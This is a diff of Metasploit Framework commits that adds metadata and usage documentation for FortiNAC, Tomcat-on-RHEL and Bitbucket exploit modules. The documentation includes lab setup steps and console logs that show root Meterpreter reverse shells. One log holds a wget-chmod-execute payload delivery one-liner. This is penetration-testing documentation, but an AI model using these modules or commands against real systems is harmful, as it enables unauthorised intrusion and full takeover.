Compare commits
35 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 0c567c474e | |||
| 335c00e2f9 | |||
| daadb4f523 | |||
| 1fef0ebdb1 | |||
| 8a76dab0bd | |||
| 22c05105d3 | |||
| fddcae3d93 | |||
| c2c5c0c339 | |||
| c53a22d3fb | |||
| 7217a60e41 | |||
| 4a4b2a28d2 | |||
| d9c5a3debf | |||
| ec7347cd49 | |||
| 1eeaff255e | |||
| 3bd4c15704 | |||
| 4bb843fe70 | |||
| 8dfe58e617 | |||
| 4eef052fcd | |||
| 192af217b6 | |||
| 2a9ddae531 | |||
| 06e7c3d702 | |||
| 2fbc80a44f | |||
| 63e2376f64 | |||
| c69b5c9363 | |||
| 100cfbccf9 | |||
| eeb30d2426 | |||
| d31220ef1e | |||
| 263223b783 | |||
| dfae7e2fc4 | |||
| 99fb35fe84 | |||
| 871c9c57f3 | |||
| 197124dd76 | |||
| d6419ee4fb | |||
| 62d43a6e96 | |||
| 633c58a0ff |
+1
-1
@@ -1,7 +1,7 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (6.3.7)
|
||||
metasploit-framework (6.3.8)
|
||||
actionpack (~> 7.0)
|
||||
activerecord (~> 7.0)
|
||||
activesupport (~> 7.0)
|
||||
|
||||
+1
-1
@@ -71,7 +71,7 @@ memory_profiler, 1.0.1, MIT
|
||||
metasm, 1.0.5, LGPL-2.1
|
||||
metasploit-concern, 5.0.1, "New BSD"
|
||||
metasploit-credential, 6.0.2, "New BSD"
|
||||
metasploit-framework, 6.3.7, "New BSD"
|
||||
metasploit-framework, 6.3.8, "New BSD"
|
||||
metasploit-model, 5.0.1, "New BSD"
|
||||
metasploit-payloads, 2.0.122, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 6.0.2, "New BSD"
|
||||
|
||||
@@ -63273,6 +63273,73 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/fortinac_keyupload_file_write": {
|
||||
"name": "Fortinet FortiNAC keyUpload.jsp arbitrary file write",
|
||||
"fullname": "exploit/linux/http/fortinac_keyupload_file_write",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2023-02-16",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Gwendal Guégniaud",
|
||||
"Zach Hanley",
|
||||
"jheysel-r7"
|
||||
],
|
||||
"description": "This module uploads a payload to the /tmp directory in addition to a cron job\n to /etc/cron.d which executes the payload in the context of the root user.\n\n The core vulnerability is an arbitrary file write issue in /configWizard/keyUpload.jsp which\n is accessible remotely and without authentication. When you send the vulnerable\n endpoint a ZIP file, it will extract an attacker controlled file to a directory\n of the attackers choice on the target system.\n\n This issue is exploitable on the following versions of FortiNAC:\n\n FortiNAC version 9.4 prior to 9.4.1\n FortiNAC version 9.2 prior to 9.2.6\n FortiNAC version 9.1 prior to 9.1.8\n FortiNAC 8.8 all versions\n FortiNAC 8.7 all versions\n FortiNAC 8.6 all versions\n FortiNAC 8.5 all versions\n FortiNAC 8.3 all versions",
|
||||
"references": [
|
||||
"URL-https://www.horizon3.ai/fortinet-fortinac-cve-2022-39952-deep-dive-and-iocs/",
|
||||
"URL-https://www.fortiguard.com/psirt/FG-IR-22-300",
|
||||
"URL-https://github.com/horizon3ai/CVE-2022-39952",
|
||||
"URL-https://attackerkb.com/topics/9BvxYuiHYJ/cve-2022-39952",
|
||||
"CVE-2022-39952"
|
||||
],
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "cmd, x64, x86",
|
||||
"rport": 8443,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"CMD",
|
||||
"Linux x86",
|
||||
"Linux x64"
|
||||
],
|
||||
"mod_time": "2023-03-13 15:46:42 +0000",
|
||||
"path": "/modules/exploits/linux/http/fortinac_keyupload_file_write.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/fortinac_keyupload_file_write",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"SideEffects": [
|
||||
"artifacts-on-disk",
|
||||
"ioc-in-logs"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_linux/http/fortinet_authentication_bypass_cve_2022_40684": {
|
||||
"name": "Fortinet FortiOS, FortiProxy, and FortiSwitchManager authentication bypass.",
|
||||
"fullname": "exploit/linux/http/fortinet_authentication_bypass_cve_2022_40684",
|
||||
@@ -76657,6 +76724,65 @@
|
||||
],
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_linux/local/tomcat_rhel_based_temp_priv_esc": {
|
||||
"name": "Apache Tomcat on RedHat Based Systems Insecure Temp Config Privilege Escalation",
|
||||
"fullname": "exploit/linux/local/tomcat_rhel_based_temp_priv_esc",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 0,
|
||||
"disclosure_date": "2016-10-10",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"h00die",
|
||||
"Dawid Golunski <dawid@legalhackers.com>"
|
||||
],
|
||||
"description": "This module exploits a vulnerability in RedHat based systems where\n improper file permissions are applied to /usr/lib/tmpfiles.d/tomcat.conf\n for Apache Tomcat versions before 7.0.54-8. This may also work against\n\n The configuration files in tmpfiles.d are used by systemd-tmpfiles to manage\n temporary files including their creation.\n\n With this weak permission, we're able to inject commands into systemd-tmpfiles\n service to write a cron job to execute our payload.\n\n systemd-tmpfiles is executed by default on boot on RedHat-based systems\n through systemd-tmpfiles-setup.service. Depending on the system in use,\n the execution of systemd-tmpfiles could also be triggered by other\n services, cronjobs, startup scripts etc.\n\n This module was tested against Tomcat 7.0.54-3 on Fedora 21.",
|
||||
"references": [
|
||||
"EDB-40488",
|
||||
"URL-https://access.redhat.com/security/cve/CVE-2016-5425",
|
||||
"URL-http://legalhackers.com/advisories/Tomcat-RedHat-Pkgs-Root-PrivEsc-Exploit-CVE-2016-5425.html",
|
||||
"URL-https://www.freedesktop.org/software/systemd/man/tmpfiles.d.html",
|
||||
"CVE-2016-5425"
|
||||
],
|
||||
"platform": "Linux",
|
||||
"arch": "x86, x64",
|
||||
"rport": null,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": [
|
||||
"Auto"
|
||||
],
|
||||
"mod_time": "2023-03-13 14:42:26 +0000",
|
||||
"path": "/modules/exploits/linux/local/tomcat_rhel_based_temp_priv_esc.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/local/tomcat_rhel_based_temp_priv_esc",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"artifacts-on-disk",
|
||||
"config-changes",
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"shell",
|
||||
"meterpreter"
|
||||
],
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_linux/local/tomcat_ubuntu_log_init_priv_esc": {
|
||||
"name": "Apache Tomcat on Ubuntu Log Init Privilege Escalation",
|
||||
"fullname": "exploit/linux/local/tomcat_ubuntu_log_init_priv_esc",
|
||||
@@ -85803,6 +85929,71 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_multi/http/bitbucket_env_var_rce": {
|
||||
"name": "Bitbucket Environment Variable RCE",
|
||||
"fullname": "exploit/multi/http/bitbucket_env_var_rce",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2022-11-16",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Ry0taK",
|
||||
"y4er",
|
||||
"Shelby Pace"
|
||||
],
|
||||
"description": "For various versions of Bitbucket, there is an authenticated command injection\n vulnerability that can be exploited by injecting environment\n variables into a user name. This module achieves remote code execution\n as the `atlbitbucket` user by injecting the `GIT_EXTERNAL_DIFF` environment\n variable, a null character as a delimiter, and arbitrary code into a user's\n user name. The value (payload) of the `GIT_EXTERNAL_DIFF` environment variable\n will be run once the Bitbucket application is coerced into generating a diff.\n\n This module requires at least admin credentials, as admins and above\n only have the option to change their user name.",
|
||||
"references": [
|
||||
"URL-https://y4er.com/posts/cve-2022-43781-bitbucket-server-rce/",
|
||||
"URL-https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-security-advisory-2022-11-16-1180141667.html",
|
||||
"CVE-2022-43781"
|
||||
],
|
||||
"platform": "Linux,Unix,Windows",
|
||||
"arch": "cmd, x86, x64",
|
||||
"rport": 7990,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Linux Command",
|
||||
"Linux Dropper",
|
||||
"Windows Dropper"
|
||||
],
|
||||
"mod_time": "2023-03-15 11:18:03 +0000",
|
||||
"path": "/modules/exploits/multi/http/bitbucket_env_var_rce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/http/bitbucket_env_var_rce",
|
||||
"check": true,
|
||||
"post_auth": true,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"artifacts-on-disk",
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_multi/http/bolt_file_upload": {
|
||||
"name": "CMS Bolt File Upload Vulnerability",
|
||||
"fullname": "exploit/multi/http/bolt_file_upload",
|
||||
|
||||
@@ -1,8 +1,8 @@
|
||||
GSoC Project Ideas in no particular order. When you've picked one, take a look at [[How-to-Apply-to-GSoC]] for how to make a proposal.
|
||||
|
||||
Mentors: @jmartin-r7, @gwillcox-r7
|
||||
Mentors: @jmartin-r7
|
||||
|
||||
Slack Contacts: @Op3n4M3, @gwillcox-r7 on [Metasploit Slack](https://metasploit.slack.com/)
|
||||
Slack Contacts: @Op3n4M3 on [Metasploit Slack](https://metasploit.slack.com/)
|
||||
|
||||
For any questions about these projects reach out on the Metasploit Slack in the `#gsoc` channel or DM one of the mentors using the Slack contacts listed above. Note that mentors may be busy so please don't expect an immediate response, however we will endeavor to respond as soon as possible. If you'd prefer not to join Slack, you can also email `msfdev [@] metasploit [dot] com` and we will respond to your questions there if email is preferable.
|
||||
|
||||
|
||||
@@ -0,0 +1,192 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module uploads a payload to the `/tmp` directory in addition to a cron job to `/etc/cron.d` which executes the payload
|
||||
in the context of the `root` user.
|
||||
|
||||
The core vulnerability is an arbitrary file write issue in `/configWizard/keyUpload.jsp` which is accessible remotely and without
|
||||
authentication. When you send this endpoint a ZIP file, it will extract an an attacker controlled file to directory
|
||||
on the system of the attacker's choice.
|
||||
|
||||
This issue is exploitable on the following versions of FortiNAC:
|
||||
|
||||
- FortiNAC version 9.4 prior to 9.4.1
|
||||
- FortiNAC version 9.2 prior to 9.2.6
|
||||
- FortiNAC version 9.1 prior to 9.1.8
|
||||
- FortiNAC 8.8 all versions
|
||||
- FortiNAC 8.7 all versions
|
||||
- FortiNAC 8.6 all versions
|
||||
- FortiNAC 8.5 all versions
|
||||
- FortiNAC 8.3 all versions
|
||||
|
||||
### Setup
|
||||
|
||||
Navigate to https://www.fortinet.com/demo-center/nac-demo to obtain a FortiNAC free product demo. Fill out the
|
||||
necessary fields in order to download: first name, last name, job function, job level, company, email address, phone
|
||||
number, state, zip/postal code. You'll receive a confirmation email; click the link in the email in order to access the
|
||||
free product download.
|
||||
|
||||
Import the OVA file into your virtualization software of choice. Personally, I had success using VMWare Fusion. Note
|
||||
that when using VMWare products, you will need to use a tool such as 7-Zip to unzip the `.ova` file, find the manifest
|
||||
file contained within, which will end with `.mf`, and then rezip the file again. This is due to a bug noted at
|
||||
https://github.com/home-assistant/operating-system/issues/2121
|
||||
|
||||
Personally I just navigated to the `.ova` file in Windows, right clicked, and chose `7-Zip`, then `Open Archive`,
|
||||
and then deleted the `.mf` file that appeared before closing 7-Zip, which did the trick. Once this is done you
|
||||
can then import the OVA file into VMWare fine.
|
||||
|
||||
Once the OVA file has been imported, but before starting the machine, if you are using VMWare, go into
|
||||
`Edit->Virtual Network Editor` and look at the `Subnet Address` section for the `Host Only` adapter. You will
|
||||
need this for later sections.
|
||||
|
||||
Next change the two interfaces of the imported machine from Bridged to Host Only. Then turn the machine on.
|
||||
Once the machine turns on, log in with the following default credentials as outlined in the
|
||||
[VMware Virtual Machine Installation Guide](https://fortinetweb.s3.amazonaws.com/docs.fortinet.com/v2/attachments/920a0000-200d-11e9-b6f6-f8bc1258b856/fortinac-vmware-install-85.pdf):
|
||||
|
||||
```
|
||||
Username: root
|
||||
Password: 162PemBnI
|
||||
```
|
||||
|
||||
Once authenticated successfully, statically set the IP address of the machine using the subnet information you obtained
|
||||
earlier. In our case the subnet was `192.168.123.0/24` so we just set the gateway to `192.168.123.1` and set the IP address
|
||||
of the machine to `192.168.123.11/24` to set it to a static IP address that is available on this subnet. Be sure to update
|
||||
these commands and any of the following commands to replace `192.168.123.11` and `192.168.123.1` with the appropriate
|
||||
gateway and host IP addresses.
|
||||
|
||||
`configIP 192.168.123.11 255.255.255.0 192.168.123.1`
|
||||
|
||||
Navigate to the directory where the license file resides, and then start a Python SimpleHTTPServer web server to
|
||||
host files from this directory using the following commands:
|
||||
|
||||
```
|
||||
cd /bsc/campusMgr
|
||||
python -m SimpleHTTPServer 9099
|
||||
```
|
||||
|
||||
On your local machine download the license file from the Python server started above:
|
||||
|
||||
`wget -O licenseKey http://192.168.123.11:9099/.licenseKey`
|
||||
|
||||
On your local machine, open the browser of your choice and navigate to:
|
||||
|
||||
`https://192.168.123.11:8443/gui`
|
||||
|
||||
Authenticate with the default username and password:
|
||||
|
||||
```
|
||||
Username: root
|
||||
Password: YAMS
|
||||
```
|
||||
|
||||
When installing the software, first accept the license agreement. Then upload the license key, providing the
|
||||
the `.licenseKey` file you downloaded from the Python HTTP server and click `Next`. Under `Change Default Passwords`,
|
||||
set a username and password for a new admin account that can log in via the GUI, and under `CLI Accounts` set a new
|
||||
password for the `root` user to log in via the CLI of the console.
|
||||
|
||||
Under the `Select Installation Method` section, select `Manual Installation` and click `OK`. You should be redirected to
|
||||
a URL that looks like `https://192.168.116.12:8443/gui/system/config-wizard` and be prompted to provide a license key.
|
||||
Just provide the same `.licenseKey` file you downloaded, same procedure and key as you provided earlier and click `OK`.
|
||||
|
||||
At this point you should see a page with a header named `BASIC NETWORK`. Set the `Host Name (Do not include domain)`
|
||||
field to `localhost` and then under `DNS` section, set the `Domain [example: yourdomain.com]` to `localhost.localdomain`.
|
||||
Finally set the `Network Type` to `None`. This is a not a hard requirement but it will save you a lot of
|
||||
unnecessary setup. Click `Next` and then `Apply` and click `OK` on the popup that appears.
|
||||
|
||||
Once this is done, you will be required to change the default passwords from the GUI and once complete,
|
||||
restart the machine by clicking on the `Restart` button. One the machine reboots, you should have a
|
||||
vulnerable instance of FortiNAC configured.
|
||||
|
||||
## Options
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
1. Do: `use exploit/multi/http/fortinac_keyupload_file_upload`
|
||||
1. Set the `RHOST` and `LHOST` options
|
||||
1. Run the module
|
||||
1. Receive a Meterpreter session as the `root` user.
|
||||
|
||||
## Scenarios
|
||||
### FortiNAC 9.4.0 CMD Target
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/http/fortinac_keyupload_file_write
|
||||
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/fortinac_keyupload_file_write) > set rhosts 192.168.123.11
|
||||
rhosts => 192.168.123.11
|
||||
msf6 exploit(linux/http/fortinac_keyupload_file_write) > set lhost 192.168.123.1
|
||||
lhost => 192.168.123.1
|
||||
msf6 exploit(linux/http/fortinac_keyupload_file_write) > set lport 4044
|
||||
lport => 4044
|
||||
msf6 exploit(linux/http/fortinac_keyupload_file_write) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.123.1:4044
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Target indicated a successful upload occurred!
|
||||
[*] Sending zipped cron job to /configWizard/keyUpload.jsp
|
||||
[*] Waiting for cron job to run
|
||||
[*] Sending stage (24772 bytes) to 192.168.123.11
|
||||
[*] Meterpreter session 1 opened (192.168.123.1:4044 -> 192.168.123.11:59938) at 2023-03-09 17:01:02 -0500
|
||||
[!] This exploit may require manual cleanup of '/etc/cron.d/ZlzEXbWF' on the target
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : localhost.localhost.localdomain
|
||||
OS : Linux 3.10.0-1160.53.1.el7.x86_64 #1 SMP Fri Jan 14 13:59:45 UTC 2022
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Meterpreter : python/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### FortiNAC 9.4.0 Linux x64 Target
|
||||
```
|
||||
msf6 > use exploit/linux/http/fortinac_keyupload_file_write
|
||||
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/fortinac_keyupload_file_write) > show targets
|
||||
|
||||
Exploit targets:
|
||||
=================
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
=> 0 CMD
|
||||
1 Linux x86
|
||||
2 Linux x64
|
||||
|
||||
|
||||
msf6 exploit(linux/http/fortinac_keyupload_file_write) > set target 2
|
||||
target => 2
|
||||
msf6 exploit(linux/http/fortinac_keyupload_file_write) > set payload linux/x64/meterpreter/reverse_tcp
|
||||
payload => linux/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/fortinac_keyupload_file_write) > set rhosts 192.168.123.11
|
||||
rhosts => 192.168.123.11
|
||||
msf6 exploit(linux/http/fortinac_keyupload_file_write) > set lhost 192.168.123.1
|
||||
lhost => 192.168.123.1
|
||||
msf6 exploit(linux/http/fortinac_keyupload_file_write) > set lport 9909
|
||||
lport => 9909
|
||||
msf6 exploit(linux/http/fortinac_keyupload_file_write) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.123.1:9909
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Target indicated a successful upload occurred!
|
||||
[*] Sending zipped payload to /configWizard/keyUpload.jsp
|
||||
[*] Sending zipped cron job to /configWizard/keyUpload.jsp
|
||||
[*] Waiting for cron job to run
|
||||
[*] Sending stage (3045348 bytes) to 192.168.123.11
|
||||
[*] Meterpreter session 3 opened (192.168.123.1:9909 -> 192.168.123.11:38266) at 2023-03-09 17:31:01 -0500
|
||||
[!] This exploit may require manual cleanup of '/tmp/HcYciseH' on the target
|
||||
[!] This exploit may require manual cleanup of '/etc/cron.d/DsxejZgV' on the target
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : localhost.localhost.localdomain
|
||||
OS : CentOS 7.9.2009 (Linux 3.10.0-1160.53.1.el7.x86_64)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
@@ -0,0 +1,148 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits a vulnerability in RedHat based systems where
|
||||
improper file permissions are applied to `/usr/lib/tmpfiles.d/tomcat.conf`
|
||||
for Apache Tomcat versions before 7.0.54-8. This may also work against
|
||||
|
||||
The configuration files in `tmpfiles.d` are used by `systemd-tmpfiles` to manage
|
||||
temporary files including their creation.
|
||||
|
||||
With this weak permission, we're able to inject commands into `systemd-tmpfiles`
|
||||
service to write a cron job to execute our payload.
|
||||
|
||||
`systemd-tmpfiles` is executed by default on boot on RedHat-based systems
|
||||
through `systemd-tmpfiles-setup.service`. Depending on the system in use,
|
||||
the execution of `systemd-tmpfiles` could also be triggered by other
|
||||
services, cronjobs, startup scripts etc.
|
||||
|
||||
This module was tested against Tomcat 7.0.54-3 on Fedora 21.
|
||||
|
||||
### Install
|
||||
|
||||
This will install Tomcat 7 (7.0.54-3) on Fedora 21.
|
||||
|
||||
We also change the `tomcat` user's shell to `/bin/bash` to make setting up the priv-esc
|
||||
easier.
|
||||
|
||||
```
|
||||
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/t/tomcat-7.0.54-3.fc21.noarch.rpm
|
||||
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/t/tomcat-lib-7.0.54-3.fc21.noarch.rpm
|
||||
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/a/apache-commons-collections-3.2.1-20.fc21.noarch.rpm
|
||||
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/a/apache-commons-daemon-1.0.15-8.fc21.x86_64.rpm
|
||||
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/a/apache-commons-dbcp-1.4-16.fc21.noarch.rpm
|
||||
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/a/apache-commons-logging-1.1.3-14.fc21.noarch.rpm
|
||||
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/a/apache-commons-pool-1.6-9.fc21.noarch.rpm
|
||||
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/t/tomcat-el-2.2-api-7.0.54-3.fc21.noarch.rpm
|
||||
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/t/tomcat-jsp-2.2-api-7.0.54-3.fc21.noarch.rpm
|
||||
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/t/tomcat-servlet-3.0-api-7.0.54-3.fc21.noarch.rpm
|
||||
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/e/ecj-4.4.0-1.fc21.noarch.rpm
|
||||
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/g/geronimo-jta-1.1.1-17.fc21.noarch.rpm
|
||||
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/g/geronimo-jms-1.1.1-19.fc21.noarch.rpm
|
||||
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/l/log4j12-1.2.17-7.fc21.noarch.rpm
|
||||
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/j/javamail-1.5.1-3.fc21.noarch.rpm
|
||||
rpm -i *.rpm
|
||||
sudo sed -i 's|/bin/nologin|/bin/bash|g' /etc/passwd
|
||||
```
|
||||
|
||||
You can now `su tomcat` and get your starter shell.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Get an initial shell as the `tomcat` user
|
||||
4. Do: `use exploit/linux/local/tomcat_rhel_based_temp_priv_esc`
|
||||
5. Do: `set session #`
|
||||
6. Do: `run`
|
||||
7. You should get a root shell.
|
||||
|
||||
## Options
|
||||
|
||||
### WritableDir
|
||||
|
||||
A directory where we can write and execute files. Defaults to `/tmp`.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Tomcat 7 (7.0.54-3) on Fedora 21
|
||||
|
||||
Initial shell
|
||||
|
||||
```
|
||||
msf6 > use exploit/multi/script/web_delivery
|
||||
[*] Using configured payload python/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/script/web_delivery) > set lhost 1.1.1.1
|
||||
lhost => 1.1.1.1
|
||||
msf6 exploit(multi/script/web_delivery) > set target 7
|
||||
target => 7
|
||||
msf6 exploit(multi/script/web_delivery) > set payload linux/x64/meterpreter/reverse_tcp
|
||||
payload => linux/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/script/web_delivery) > exploit
|
||||
[*] Exploit running as background job 0.
|
||||
[*] Exploit completed, but no session was created.
|
||||
msf6 exploit(multi/script/web_delivery) >
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4444
|
||||
[*] Using URL: http://1.1.1.1:8080/fGd5wnh85
|
||||
[*] Server started.
|
||||
[*] Run the following command on the target machine:
|
||||
wget -qO TbT9zhqH --no-check-certificate http://1.1.1.1:8080/fGd5wnh85; chmod +x TbT9zhqH; ./TbT9zhqH& disown
|
||||
|
||||
msf6 exploit(multi/script/web_delivery) >
|
||||
[*] 2.2.2.2 web_delivery - Delivering Payload (250 bytes)
|
||||
[*] Sending stage (3045348 bytes) to 2.2.2.2
|
||||
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:41270) at 2023-01-19 15:22:23 -0500
|
||||
|
||||
msf6 exploit(multi/script/web_delivery) > jobs -K
|
||||
Stopping all jobs...
|
||||
|
||||
[*] Server stopped.
|
||||
msf6 exploit(multi/script/web_delivery) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: tomcat
|
||||
meterpreter > sysinfo
|
||||
Computer : localhost.domain
|
||||
OS : Fedora 21 (Linux 3.17.4-301.fc21.x86_64)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter > background
|
||||
[*] Backgrounding session 1...
|
||||
```
|
||||
|
||||
Priv Esc
|
||||
|
||||
```
|
||||
msf6 exploit(multi/script/web_delivery) > use exploit/linux/local/tomcat_rhel_based_temp_priv_esc
|
||||
[*] Using configured payload linux/x64/meterpreter_reverse_tcp
|
||||
msf6 exploit(linux/local/tomcat_rhel_based_temp_priv_esc) > set verbose true
|
||||
verbose => true
|
||||
msf6 exploit(linux/local/tomcat_rhel_based_temp_priv_esc) > set session 1
|
||||
session => 1
|
||||
msf6 exploit(linux/local/tomcat_rhel_based_temp_priv_esc) > set lhost 1.1.1.1
|
||||
lhost => 1.1.1.1
|
||||
msf6 exploit(linux/local/tomcat_rhel_based_temp_priv_esc) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Vulnerable app version detected: 7.0.54.pre.3
|
||||
[*] Creating backup of /usr/lib/tmpfiles.d/tomcat.conf
|
||||
[+] Original /usr/lib/tmpfiles.d/tomcat.conf backed up to /root/.msf4/loot/20230119152336_default_2.2.2.2_usrlibtmpfile_530018.txt
|
||||
[*] Uploading Payload to /tmp/.4ptbf6f4fW
|
||||
[*] Writing '/tmp/.4ptbf6f4fW' (1068640 bytes) ...
|
||||
[*] Writing permission elevation into /usr/lib/tmpfiles.d/tomcat.conf
|
||||
[*] Creating cron job in /etc/cron.d/grPwZ
|
||||
[+] Waiting 1800 seconds on tmpfiles-setup.service to restart (/usr/bin/systemd-tmpfiles --create)
|
||||
[*] Sleeping for 2 seconds before attempting again
|
||||
[*] Sleeping for 4 seconds before attempting again
|
||||
[*] Sleeping for 8 seconds before attempting again
|
||||
[-] /etc/cron.d/grPwZ not found, checking in 10 seconds
|
||||
[*] Waiting on cron to kick the payload (~1 minute)
|
||||
[+] Deleted /tmp/.4ptbf6f4fW
|
||||
[+] Deleted /etc/cron.d/grPwZ
|
||||
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:41271) at 2023-01-19 15:24:24 -0500
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
```
|
||||
@@ -0,0 +1,272 @@
|
||||
## Vulnerable Application
|
||||
|
||||
For various versions of Bitbucket, there is an authenticated command injection
|
||||
vulnerability that can be exploited by injecting environment
|
||||
variables into a user name. This module achieves remote code execution
|
||||
as the `atlbitbucket` user by injecting the `GIT_EXTERNAL_DIFF` environment
|
||||
variable, a null character as a delimiter, and arbitrary code into a user's
|
||||
user name. The value (payload) of the `GIT_EXTERNAL_DIFF` environment variable
|
||||
will be run once the Bitbucket application is coerced into generating a diff.
|
||||
|
||||
This module requires at least admin credentials, as admins and above only have the
|
||||
option to change their user name.
|
||||
|
||||
The [advisory](https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-security-advisory-2022-11-16-1180141667.html) lists the following versions as vulnerable:
|
||||
|
||||
* 7.0 to 7.5 (all versions)
|
||||
* 7.6.0 to 7.6.18
|
||||
* 7.7 to 7.16 (all versions)
|
||||
* 7.17.0 to 7.17.11
|
||||
* 7.18 to 7.20 (all versions)
|
||||
* 7.21.0 to 7.21.5
|
||||
|
||||
If mesh.enabled=false is set in bitbucket.properties:
